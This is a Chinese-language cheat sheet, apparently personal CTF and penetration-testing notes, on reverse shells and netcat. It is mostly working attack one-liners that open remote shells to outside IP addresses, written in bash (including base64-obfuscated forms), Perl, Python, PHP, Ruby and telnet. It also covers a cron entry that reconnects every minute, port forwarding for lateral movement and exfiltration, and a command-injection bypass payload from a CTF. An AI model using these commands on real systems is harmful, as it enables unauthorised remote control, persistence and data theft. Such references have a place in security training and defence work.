反弹shell
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
反弹shell通常适用于如下几种情况:
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
- 目标机端口被占用。
- 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
- ……
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
原理:https://www.k0rz3n.com/2018/08/05/Linux%E5%8F%8D%E5%BC%B9shell%EF%BC%88%E4%B8%80%EF%BC%89%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%B8%8E%E9%87%8D%E5%AE%9A%E5%90%91/
nc
nc全称为netcat
既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。
作用
- 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
- 端口的扫描,nc可以作为client发起TCP或UDP连接
- 机器之间传输文件
- 机器之间网络测速
主要参数
-c shell commands 与'-e'一样效果(use /bin/sh to exec )
-e filename 程序重定向
-d 无命令行界面,使用后台模式
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 监听模式,用于入站连接
-L 监听模式,连接关闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o <文件名> 记录16进制的传输
-p <端口> 本地端口号
-r 随机本地及远程端口
-s <地址> 设置本地主机送出数据包的IP地址
-t 使用Telnet交互方式
-T tos set Type Of Service
-u UDP模式
-v 详细输出,用-vv将更详细
-w <数字> timeout延时间隔
-z 将输入,输出关掉(用于扫描时)
扫描
nc -v ip port #扫瞄某 IP 的某个端口,返回端口信息详细输出。如:nc -v 96.44.174.9 80
nc -v -z ip port-port #扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。如:nc -v -z 96.44.174.9 80-1024
聊天
nc -lvvp 7777 #将监听到的信息输出到当前CMD窗口,这也是反弹shell的基础。
nc -l -p 7777 > C:/log.dat #将监听到的信息输出到 C:/log.dat 下的日志文件里。
nc -nvv 192.168.111.128 7777 #连接到192.168.1.101主机的7777
完成上面两步相当于可以即时聊天了
shell
正向
靶机:nc -lvvp 7777 -e /bin/bash
本地:nc 192.168.242.129 7777
我找它的ip
反向
靶机:nc -e /bin/bash 8.130.69.158 7788
本地:nc -lvvp 7788
他找我的ip
端口转发
在内网渗透中,端口转发可以用于实现以下几种应用:
- 提供远程访问:当你成功渗透到目标网络的内部设备时,你可能希望通过互联网远程访问其他内部设备,但这些设备不可直接从互联网访问。通过设置端口转发,你可以将外部网络发送到一个可访问的端口,然后将流量转发到内部网络中的目标设备和端口上,从而实现远程访问。
- 绕过防火墙限制:目标网络可能有一些防火墙规则,限制了对某些特定端口或服务的访问。通过端口转发,你可以将外部网络发送到允许访问的端口上,然后将流量转发到被限制的端口上,以绕过防火墙限制,实现对受限制服务的访问。
- 横向移动:一旦你在内网中获得了一个跳板或者受害者机器的访问权限,你可能希望探索其他内部网络的主机。通过设置端口转发,你可以将外部网络发送到你所控制的机器上的某个端口上,并将流量转发到其他内部网络主机上的特定端口上,以实现横向移动。
- 数据泄露:在内网渗透中,你可能需要将从目标网络中窃取的数据传输到外部服务器。通过设置端口转发,你可以将外部网络发送到你的机器上的某个端口上,并将窃取的数据传输到这个端口,然后通过转发,将数据发送到外部服务器上。
nc -p -l 80 -c ’nc ip port'
所有连接到 80 端口的连接都会转发到 8080 端口
nc -lvp 80 -c 'nc -l 8080'
代理
nc -l 8080 | nc 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
mkfifo 2way
nc -l 8080 0<2way | nc 192.168.1.200 80 1>2way
传输
(下面是我给目标主机传)
我:
nc -vv IP port < C:/http.txt #提交http.txt内数据包到www.91ri.org的80端口,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以自定义数据包使用此方法提交。如:nc -vv www.91ri.org 80 < C:/http.txt
nc -d -l -p 本机端口 < 要传送的文件路径及名称
目标主机:
nc -vv 我的IP 我的端口 > 存放文件的路径及名称
攻击机
nc -lp 1234 < libhax.so
靶机
cd /tmp
nc -nv 192.168.97.129 1234 > libhax.so
反弹shell
nc -e
==注意题目靶机不一定有nc==
正向
靶机:nc -lvvp 7788 -e /bin/bash
本地:nc 172.18.105.20 778
我找它的ip
windows靶机:nc -lvvp 7788 -e cmd.exe
反向
靶机:nc -e /bin/bash 8.130.69.158 7788
本地:nc -lvvp 7788
他找我的ip
windows靶机:nc -e cmd.exe 8.130.69.158 7788
管道
mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。
靶机:mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.1.101 7777 1>/tmp/backpipe
本地:nc -lnvp 7777
telnet
方法一
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
方法二
靶机:telnet 192.168.111.128 2333 | /bin/bash | telnet 192.1 4000
攻击机开两个监听
nc -lvvp 2333
nc -lvvp 4000
Bash
靶机:bash -c 'sh -i &>/dev/tcp/110.40.177.201/7788 0>&1'
或者 bash -i >& /dev/tcp/8.130.69.158/7788 0>&1
或者 bash -c "bash -i >& /dev/tcp/110.40.177.201/7788 0>&1"
本地:nc -lvvp 7777
base64:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDAuMTc3LjIwMS83Nzg4IDA+JjE=}|{base64,-d}|{bash,-i}
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExMC40MC4xNzcuMjAxLzc3ODggMD4mMSAg}|{base64,-d}|{bash,-i}'
下面记录了dasctf 2023.7一个题,把bash命令写入文件,然后执行它
先上传一个文件 文件名:a.jpg
内容是bash反弹shell bash -i>& /dev/tcp/8.130.69.158/7788 0>&1
再执行这个文件
bash *a.jpg
其他方法
exec 5<>/dev/tcp/8.130.69.158/7788;cat <&5 | while read line; do $line 2>&5 >&5; done
exec 0&0 2>&0
0<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1
定时任务
*/1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1
#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell
Perl
靶机:perl -e 'use Socket;$i="192.168.1.101";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.101:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.130.69.158",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
curl
curl https://your-shell.com/ip:port |sh
php
php -r '$sock=fsockopen("8.130.69.158",7788);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php $sock=fsockopen("192.168.111.128",7788);exec("/bin/sh -i <&3 >&3 2>&3");?>
<?php system('nc -e /bin/bash 8.130.69.158 7788');?>
ruby
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
bypass
base64
见于ciscn2023华北
这里存在命令注入点
这里
|| 分隔前面的命令 逻辑或:当命令1不正确执行后,命令2才会正确执行,否则命令2不会执行
base64编码 /bin/bash -i >& /dev/tcp/1.1.1.1/39999 0>&1
|管道符
# 注释掉后面的代码
a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#
php -r ‘$sock=fsockopen(“10.30.1.191”,7788);exec("/bin/sh -i <&3 >&3 2>&3");’
参考: